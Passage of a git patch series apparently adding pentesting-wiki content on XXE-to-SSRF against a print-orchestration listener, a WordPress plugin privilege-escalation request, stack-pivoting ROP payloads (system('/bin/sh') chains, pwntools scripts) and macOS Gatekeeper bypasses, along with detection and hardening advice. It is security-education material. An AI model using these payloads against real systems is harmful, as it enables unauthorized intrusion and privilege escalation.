This issue allows for the internal redefinition of entities declared externally, facilitating the execution of error-based XXE attacks. Such attacks exploit the redefinition of an XML parameter entity, originally declared in an external DTD, from within an internal DTD. When out-of-band connections are blocked by the server, attackers must rely on local DTD files to conduct the attack, aiming to induce a parsing error to reveal sensitive information. @@ -867,6 +867,34 @@ If the application must support DTDs internally, keep `disallow-doctype-decl` di Real-world case study: **CVE-2025-27136** in the Java S3 emulator *LocalS3* used the vulnerable constructor shown above. An unauthenticated attacker could supply a crafted XML body to the `CreateBucketConfiguration` endpoint and have the server embed local files (for example `/etc/passwd`) in the HTTP response. +### XXE in JMF/Print Orchestration Services → SSRF + +Some print workflow/orchestration platforms expose a network-facing Job Messaging Format (JMF) listener that accepts XML over TCP. If the underlying parser accepts a `DOCTYPE` and resolves external entities, you can leverage a classical XXE to force the server to make outbound requests (SSRF) or access local resources. + +Key points observed in the wild: +- Network listener (e.g., JMF client) on a dedicated port (commonly 4004 in Xerox FreeFlow Core). +- Java-based XML parsing inside a jar (e.g., `jmfclient.jar`) without `disallow-doctype-decl` or entity resolution disabled. +- Out-of-band callbacks reliably confirm exploitation. + +Minimal JMF-style SSRF probe (structure varies by product but the DOCTYPE is what matters): + +```xml + + +]> + + &probe; + +``` + +Notes: +- Replace the entity URL with your collaborator. If SSRF is possible the server will resolve it while parsing the message. +- Hardenings to look for: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`. +- Even when the JMF port does not serve files, SSRF can be chained for internal recon or to reach management APIs bound to localhost. + +References for this vector are listed at the end of the page. + ## References - [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/) @@ -882,6 +910,8 @@ Real-world case study: **CVE-2025-27136** in the Java S3 emulator *LocalS3* used - [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) - [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279) +- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) +- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf) +- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) -{{#include ../banners/hacktricks-training.md}} - +{{#include ../banners/hacktricks-training.md}} \ No newline at end of file From 23ac870db0d4d69c8ae3b52f732c50955832095d Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 16 Aug 2025 12:45:03 +0000 Subject: [PATCH 09/12] Add content from: Rare Case of Privilege Escalation in ASE Plugin Affecting 10... --- .../pentesting-web/wordpress.md | 72 +++++++++++++++++++ 1 file changed, 72 insertions(+) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 04717c759..416a8b034 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -490,6 +490,76 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ --- +### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") + +Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation. + +A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`: + +```php +// Simplified vulnerable pattern +if ( isset( $_REQUEST['reset-for'] ) ) { + $reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); + $usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; + + if ( in_array( $reset_for_username, $usernames, true ) ) { + $u = get_user_by( 'login', $reset_for_username ); + foreach ( $u->roles as $role ) { $u->remove_role( $role ); } + $orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); + foreach ( $orig as $r ) { $u->add_role( $r ); } + } +} +``` + +Why it’s exploitable + +- Trusts `$_REQUEST['reset-for']` and a plugin option without server-side authorization. +- If a user previously had higher privileges saved in `_asenha_view_admin_as_original_roles` and was downgraded, they can restore them by hitting the reset path. +- In some deployments, any authenticated user could trigger a reset for another username still present in `viewing_admin_as_role_are` (broken authorization). + +Attack prerequisites + +- Vulnerable plugin version with the feature enabled. +- Target account has a stale high-privilege role stored in user meta from earlier use. +- Any authenticated session; missing nonce/capability on the reset flow. + +Exploitation (example) + +```bash +# While logged in as the downgraded user (or any auth user able to trigger the code path), +# hit any route that executes the role-switcher logic and include the reset parameter. +# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. +curl -s -k -b 'wordpress_logged_in=...' \ + 'https://victim.example/wp-admin/?reset-for=' +``` + +On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges. + +Detection checklist + +- Look for role-switching features that persist “original roles” in user meta (e.g., `_asenha_view_admin_as_original_roles`). +- Identify reset/restore paths that: + - Read usernames from `$_REQUEST` / `$_GET` / `$_POST`. + - Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`. + - Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actor’s capabilities. + +Hardening + +- Enforce capability checks on every state-changing branch (e.g., `current_user_can('manage_options')` or stricter). +- Require nonces for all role/permission mutations and verify them: `check_admin_referer()` / `wp_verify_nonce()`. +- Never trust request-supplied usernames; resolve the target user server-side based on the authenticated actor and explicit policy. +- Invalidate “original roles” state on profile/role updates to avoid stale high-privilege restoration: + +```php +add_action( 'profile_update', function( $user_id ) { + delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); +}, 10, 1 ); +``` + +- Consider storing minimal state and using time-limited, capability-guarded tokens for temporary role switches. + +--- + ## WordPress Protection ### Regular Updates @@ -584,5 +654,7 @@ The server responds with the contents of `wp-config.php`, leaking DB credentials - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) +- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) +- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) {{#include ../../banners/hacktricks-training.md}} From 512c118ca9eb1cf965c75994950a0640c041e8b3 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sun, 17 Aug 2025 01:50:53 +0000 Subject: [PATCH 10/12] Add content from: Research Update: Enhanced src/binary-exploitation/stack-over... --- .../stack-pivoting-ebp2ret-ebp-chaining.md | 170 ++++++++++++------ 1 file changed, 118 insertions(+), 52 deletions(-) diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index 7933e9b4e..05ba2babe 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -4,59 +4,63 @@ ## Basic Information -This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence. +This technique exploits the ability to manipulate the **Base Pointer (EBP/RBP)** to chain the execution of multiple functions through careful use of the frame pointer and the **`leave; ret`** instruction sequence. -As a reminder, **`leave`** basically means: +As a reminder, on x86/x86-64 **`leave`** is equivalent to: ``` -mov ebp, esp -pop ebp +mov rsp, rbp ; mov esp, ebp on x86 +pop rbp ; pop ebp on x86 ret ``` -And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack. +And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's possible to control it by controlling the stack. + +> Notes +> - On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same. +> - Some compilers omit the frame pointer (see “EBP might not be used”). In that case, `leave` might not appear and this technique won’t work. ### EBP2Ret -This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing. +This technique is particularly useful when you can **alter the saved EBP/RBP but have no direct way to change EIP/RIP**. It leverages the function epilogue behavior. -If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\ -Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP. +If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode/ROP chain address is located (plus 8 bytes on amd64 / 4 bytes on x86 to account for the `pop`), you can indirectly control RIP. As the function returns, `leave` sets RSP to the crafted location and the subsequent `pop rbp` decreases RSP, **effectively making it point to an address stored by the attacker there**. Then `ret` will use that address. + +Note how you **need to know 2 addresses**: the address where ESP/RSP is going to go, and the value stored at that address that `ret` will consume. #### Exploit Construction -First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**. +First you need to know an **address where you can write arbitrary data/addresses**. RSP will point here and **consume the first `ret`**. -Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use: +Then, you need to choose the address used by `ret` that will **transfer execution**. You could use: - A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address. -- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits). -- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute. -- Some [**ROP**](../rop-return-oriented-programing/index.html) chain +- The address of **`system()`** followed by the appropriate return and arguments (on x86: `ret` target = `&system`, then 4 junk bytes, then `&"/bin/sh"`). +- The address of a **`jmp esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by inline shellcode. +- A [**ROP**](../rop-return-oriented-programing/index.html) chain staged in writable memory. -Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution. +Remember that before any of these addresses in the controlled area, there must be **space for the `pop ebp/rbp`** from `leave` (8B on amd64, 4B on x86). You can abuse these bytes to set a **second fake EBP** and keep control after the first call returns. #### Off-By-One Exploit -There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\ -Usually it's modified the byte 0x00t o jump as far as possible. +There's a variant used when you can **only modify the least significant byte of the saved EBP/RBP**. In such a case, the memory location storing the address to jump to with **`ret`** must share the first three/five bytes with the original EBP/RBP so a 1-byte overwrite can redirect it. Usually the low byte (offset 0x00) is increased to jump as far as possible within a nearby page/aligned region. -Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed. +It’s also common to use a RET sled in the stack and put the real ROP chain at the end to make it more probable that the new RSP points inside the sled and the final ROP chain is executed. -### **EBP Chaining** +### EBP Chaining -Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**. +By placing a controlled address in the saved `EBP` slot of the stack and a `leave; ret` gadget in `EIP/RIP`, it's possible to **move `ESP/RSP` to an attacker-controlled address**. -Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this: +Now `RSP` is controlled and the next instruction is `ret`. Place in the controlled memory something like: -- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction -- **`system()`** -> Called by `ret` -- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin -- **`&("/bin/sh")`**-> Param fro `system` +- `&(next fake EBP)` -> Loaded by `pop ebp/rbp` from `leave`. +- `&system()` -> Called by `ret`. +- `&(leave;ret)` -> After `system` ends, moves RSP to the next fake EBP and continues. +- `&("/bin/sh")` -> Argument for `system`. -Basically this way it's possible to chain several fake EBPs to control the flow of the program. +This way it's possible to chain several fake EBPs to control the flow of the program. -This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), but more complex with no apparent benefit but could be interesting in some edge-cases. +This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), but more complex and only useful in edge-cases. Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page: @@ -75,7 +79,7 @@ POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( - 0x0, # rbp (could be the address of anoter fake RBP) + 0x0, # rbp (could be the address of another fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, @@ -84,11 +88,11 @@ payload = flat( elf.sym['winner'] ) -payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) +payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP) payload += flat( - buffer, # Load leak address in RBP - LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it + buffer, # Load leaked address in RBP + LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it ) pause() @@ -96,12 +100,13 @@ p.sendline(payload) print(p.recvline()) ``` +> amd64 alignment tip: System V ABI requires 16-byte stack alignment at call sites. If your chain calls functions like `system`, add an alignment gadget (e.g., `ret`, or `sub rsp, 8 ; ret`) before the call to maintain alignment and avoid `movaps` crashes. + ## EBP might not be used -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\ -This is because the **prologue and epilogue changes** if the binary is optimized. +As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations or with frame-pointer omission, the **EBP/RBP never controls ESP/RSP**. Therefore, any exploit working by controlling EBP/RBP will fail because the prologue/epilogue doesn’t restore from the frame pointer. -- **Not optimized:** +- Not optimized / frame pointer used: ```bash push %ebp # save ebp @@ -114,24 +119,26 @@ leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` -- **Optimized:** +- Optimized / frame pointer omitted: ```bash -push %ebx # save ebx +push %ebx # save callee-saved register sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size -pop %ebx # restore ebx +pop %ebx # restore ret # return ``` +On amd64 you’ll often see `pop rbp ; ret` instead of `leave ; ret`, but if the frame pointer is omitted entirely then there’s no `rbp`-based epilogue to pivot through. + ## Other ways to control RSP -### **`pop rsp`** gadget +### `pop rsp` gadget -[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**: +[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For that challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp @@ -177,7 +184,7 @@ p.sendline(payload) print(p.recvline()) ``` -### xchg \, rsp gadget +### xchg , rsp gadget ``` pop <=== return pointer @@ -193,20 +200,71 @@ Check the ret2esp technique here: ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} -## References & Other Examples +### Finding pivot gadgets quickly -- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) -- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) -- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - - 64 bits, off by one exploitation with a rop chain starting with a ret sled -- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. +Use your favorite gadget finder to search for classic pivot primitives: + +- `leave ; ret` on functions or in libraries +- `pop rsp` / `xchg rax, rsp ; ret` +- `add rsp, ; ret` (or `add esp, ; ret` on x86) + +Examples: + +```bash +# Ropper +ropper --file ./vuln --search "leave; ret" +ropper --file ./vuln --search "pop rsp" +ropper --file ./vuln --search "xchg rax, rsp ; ret" + +# ROPgadget +ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" +``` + +### Classic pivot staging pattern + +A robust pivot strategy used in many CTFs/exploits: + +1) Use a small initial overflow to call `read`/`recv` into a large writable region (e.g., `.bss`, heap, or mapped RW memory) and place a full ROP chain there. +2) Return into a pivot gadget (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) to move RSP to that region. +3) Continue with the staged chain (e.g., leak libc, call `mprotect`, then `read` shellcode, then jump to it). + +## Modern mitigations that break stack pivoting (CET/Shadow Stack) + +Modern x86 CPUs and OSes increasingly deploy **CET Shadow Stack (SHSTK)**. With SHSTK enabled, `ret` compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first `ret` is executed from a pivoted stack. + +- For background and deeper details see: + +{{#ref}} +../common-binary-protections-and-bypasses/cet-and-shadow-stack.md +{{#endref}} + +- Quick checks on Linux: + +```bash +# 1) Is the binary/toolchain CET-marked? +readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)' + +# 2) Is the CPU/kernel capable? +grep -E 'user_shstk|ibt' /proc/cpuinfo + +# 3) Is SHSTK active for this process? +grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss) + +# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags +(gdb) checksec +``` + +- Notes for labs/CTF: + - Some modern distros enable SHSTK for CET-enabled binaries when hardware and glibc support is present. For controlled testing in VMs, SHSTK can be disabled system-wide via the kernel boot parameter `nousershstk`, or selectively enabled via glibc tunables during startup (see references). Don’t disable mitigations on production targets. + - JOP/COOP or SROP-based techniques might still be viable on some targets, but SHSTK specifically breaks `ret`-based pivots. + +- Windows note: Windows 10+ exposes user-mode and Windows 11 adds kernel-mode “Hardware-enforced Stack Protection” built on shadow stacks. CET-compatible processes prevent stack pivoting/ROP at `ret`; developers opt-in via CETCOMPAT and related policies (see reference). ## ARM64 -In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**. +In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP register** in the stack. Moreover, the **`RET`** instruction doesn't return to the address pointed by SP, but **to the address inside `x30`**. -Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register. +Therefore, by default, just abusing the epilogue you **won't be able to control the SP register** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register. - prologue @@ -225,7 +283,7 @@ Therefore, by default, just abusing the epilogue you **won't be able to control ``` > [!CAUTION] -> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it. +> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking its address from the stack and we have an overflow) and then **abuse the epilogue** to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it. Also in the following page you can see the equivalent of **Ret2esp in ARM64**: @@ -233,7 +291,15 @@ Also in the following page you can see the equivalent of **Ret2esp in ARM64**: ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} +## References + +- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) +- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) +- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) + - 64 bits, off by one exploitation with a rop chain starting with a ret sled +- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) + - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. +- Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — details on SHSTK, `nousershstk`, `/proc/$PID/status` flags, and enabling via `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html +- Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection + {{#include ../../banners/hacktricks-training.md}} - - - From b8522c9e30118f956289b1e6690dd6013e65fed3 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Mon, 18 Aug 2025 01:59:06 +0000 Subject: [PATCH 11/12] Add content from: Research Update: Enhanced src/macos-hardening/macos-security... --- .../macos-gatekeeper.md | 88 +++++++++++++++++-- 1 file changed, 83 insertions(+), 5 deletions(-) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index e9e29b796..8dd6f1b83 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -91,7 +91,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an [...] ``` -**`syspolicyd`** also exposes a XPC server with different operations like `assess`, `update`, `record` and `cancel` which are also reachable using **`Security.framework`'s `SecAssessment*`** APIs and **`xpctl`** actually talks to **`syspolicyd`** via XPC. +**`syspolicyd`** also exposes a XPC server with different operations like `assess`, `update`, `record` and `cancel` which are also reachable using **`Security.framework`'s `SecAssessment*`** APIs and **`spctl`** actually talks to **`syspolicyd`** via XPC. Note how the first rule ended in "**App Store**" and the second one in "**Developer ID**" and that in the previous imaged it was **enabled to execute apps from the App Store and identified developers**.\ If you **modify** that setting to App Store, the "**Notarized Developer ID" rules will disappear**. @@ -160,6 +160,44 @@ spctl --assess -v /Applications/App.app Regarding **kernel extensions**, the folder `/var/db/SystemPolicyConfiguration` contains files with lists of kexts allowed to be loaded. Moreover, `spctl` has the entitlement `com.apple.private.iokit.nvram-csr` because it's capable of adding new pre-approved kernel extensions which need to be saved also in NVRAM in a `kext-allowed-teams` key. +#### Managing Gatekeeper on macOS 15 (Sequoia) and later + +Starting in macOS 15 Sequoia, end users can no longer toggle Gatekeeper policy from `spctl`. Management is performed via System Settings or by deploying an MDM configuration profile with the `com.apple.systempolicy.control` payload. Example profile snippet to allow App Store and identified developers (but not "Anywhere"): + +```xml + + + + + PayloadContent + + + PayloadType + com.apple.systempolicy.control + PayloadVersion + 1 + PayloadIdentifier + com.example.gatekeeper + EnableAssessment + + AllowIdentifiedDevelopers + + + + PayloadType + Configuration + PayloadIdentifier + com.example.profile.gatekeeper + PayloadUUID + 00000000-0000-0000-0000-000000000000 + PayloadVersion + 1 + PayloadDisplayName + Gatekeeper + + +``` + ### Quarantine Files Upon **downloading** an application or file, specific macOS **applications** such as web browsers or email clients **attach an extended file attribute**, commonly known as the "**quarantine flag**," to the downloaded file. This attribute acts as a security measure to **mark the file** as coming from an untrusted source (the internet), and potentially carrying risks. However, not all applications attach this attribute, for instance, common BitTorrent client software usually bypasses this process. @@ -300,7 +338,7 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri Quarantine information is also stored in a central database managed by LaunchServices in **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** which allows the GUI to obtain data about the file origins. Moreover this can be overwritten by applications which might be interested in hiding its origins. Moreover, this can be done from LaunchServices APIS. -#### **libquarantine.dylb** +#### **libquarantine.dylib** This library exports several functions that allow to manipulate the extended attribute fields. @@ -317,6 +355,26 @@ It also uses a couple of MIBs: - `security.mac.qtn.sandbox_enforce`: Enforce quarantine along Sandbox - `security.mac.qtn.user_approved_exec`: Querantined procs can only execute approved files +#### Provenance xattr (Ventura and later) + +macOS 13 Ventura introduced a separate provenance mechanism which is populated the first time a quarantined app is allowed to run. Two artefacts are created: + +- The `com.apple.provenance` xattr on the `.app` bundle directory (fixed-size binary value containing a primary key and flags). +- A row in the `provenance_tracking` table inside the ExecPolicy database at `/var/db/SystemPolicyConfiguration/ExecPolicy/` storing the app’s cdhash and metadata. + +Practical usage: + +```bash +# Inspect provenance xattr (if present) +xattr -p com.apple.provenance /Applications/Some.app | hexdump -C + +# Observe Gatekeeper/provenance events in real time +log stream --style syslog --predicate 'process == "syspolicyd"' + +# Retrieve historical Gatekeeper decisions for a specific bundle +log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventMessage CONTAINS[cd] "GK scan"' +``` + ### XProtect XProtect is a built-in **anti-malware** feature in macOS. XProtect **checks any application when it's first launched or modified against its database** of known malware and unsafe file types. When you download a file through certain apps, such as Safari, Mail, or Messages, XProtect automatically scans the file. If it matches any known malware in its database, XProtect will **prevent the file from running** and alert you to the threat. @@ -340,6 +398,12 @@ XProtect is located on. SIP protected location at **/Library/Apple/System/Librar Note that there is another App in **`/Library/Apple/System/Library/CoreServices/XProtect.app`** related to XProtect that isn't involved with the Gatekeeper process. +> XProtect Remediator: On modern macOS, Apple ships on-demand scanners (XProtect Remediator) that run periodically via launchd to detect and remediate families of malware. You can observe these scans in unified logs: +> +> ```bash +> log show --last 2h --predicate 'subsystem == "com.apple.XProtectFramework" || category CONTAINS "XProtect"' --style syslog +> ``` + ### Not Gatekeeper > [!CAUTION] @@ -459,6 +523,18 @@ echo "[+] compressing files" aa archive -d s/ -o app.aar ``` +### [CVE-2023-41067] + +A Gatekeeper bypass fixed in macOS Sonoma 14.0 allowed crafted apps to run without prompting. Details were disclosed publicly after patching and the issue was actively exploited in the wild before fix. Ensure Sonoma 14.0 or later is installed. + +### [CVE-2024-27853] + +A Gatekeeper bypass in macOS 14.4 (released March 2024) stemming from `libarchive` handling of malicious ZIPs allowed apps to evade assessment. Update to 14.4 or later where Apple addressed the issue. + +### Third‑party unarchivers mis‑propagating quarantine (2023–2024) + +Several vulnerabilities in popular extraction tools (e.g., The Unarchiver) caused files extracted from archives to miss the `com.apple.quarantine` xattr, enabling Gatekeeper bypass opportunities. Always rely on macOS Archive Utility or patched tools when testing, and validate xattrs after extraction. + ### uchg (from this [talk](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf)) - Create a directory containing an app. @@ -473,7 +549,9 @@ aa archive -d s/ -o app.aar In an ".app" bundle if the quarantine xattr is not added to it, when executing it **Gatekeeper won't be triggered**. +## References + +- Apple Platform Security: About the security content of macOS Sonoma 14.4 (includes CVE-2024-27853) – [https://support.apple.com/en-us/HT214084](https://support.apple.com/en-us/HT214084) +- Eclectic Light: How macOS now tracks the provenance of apps – [https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/](https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/) + {{#include ../../../banners/hacktricks-training.md}} - - - From 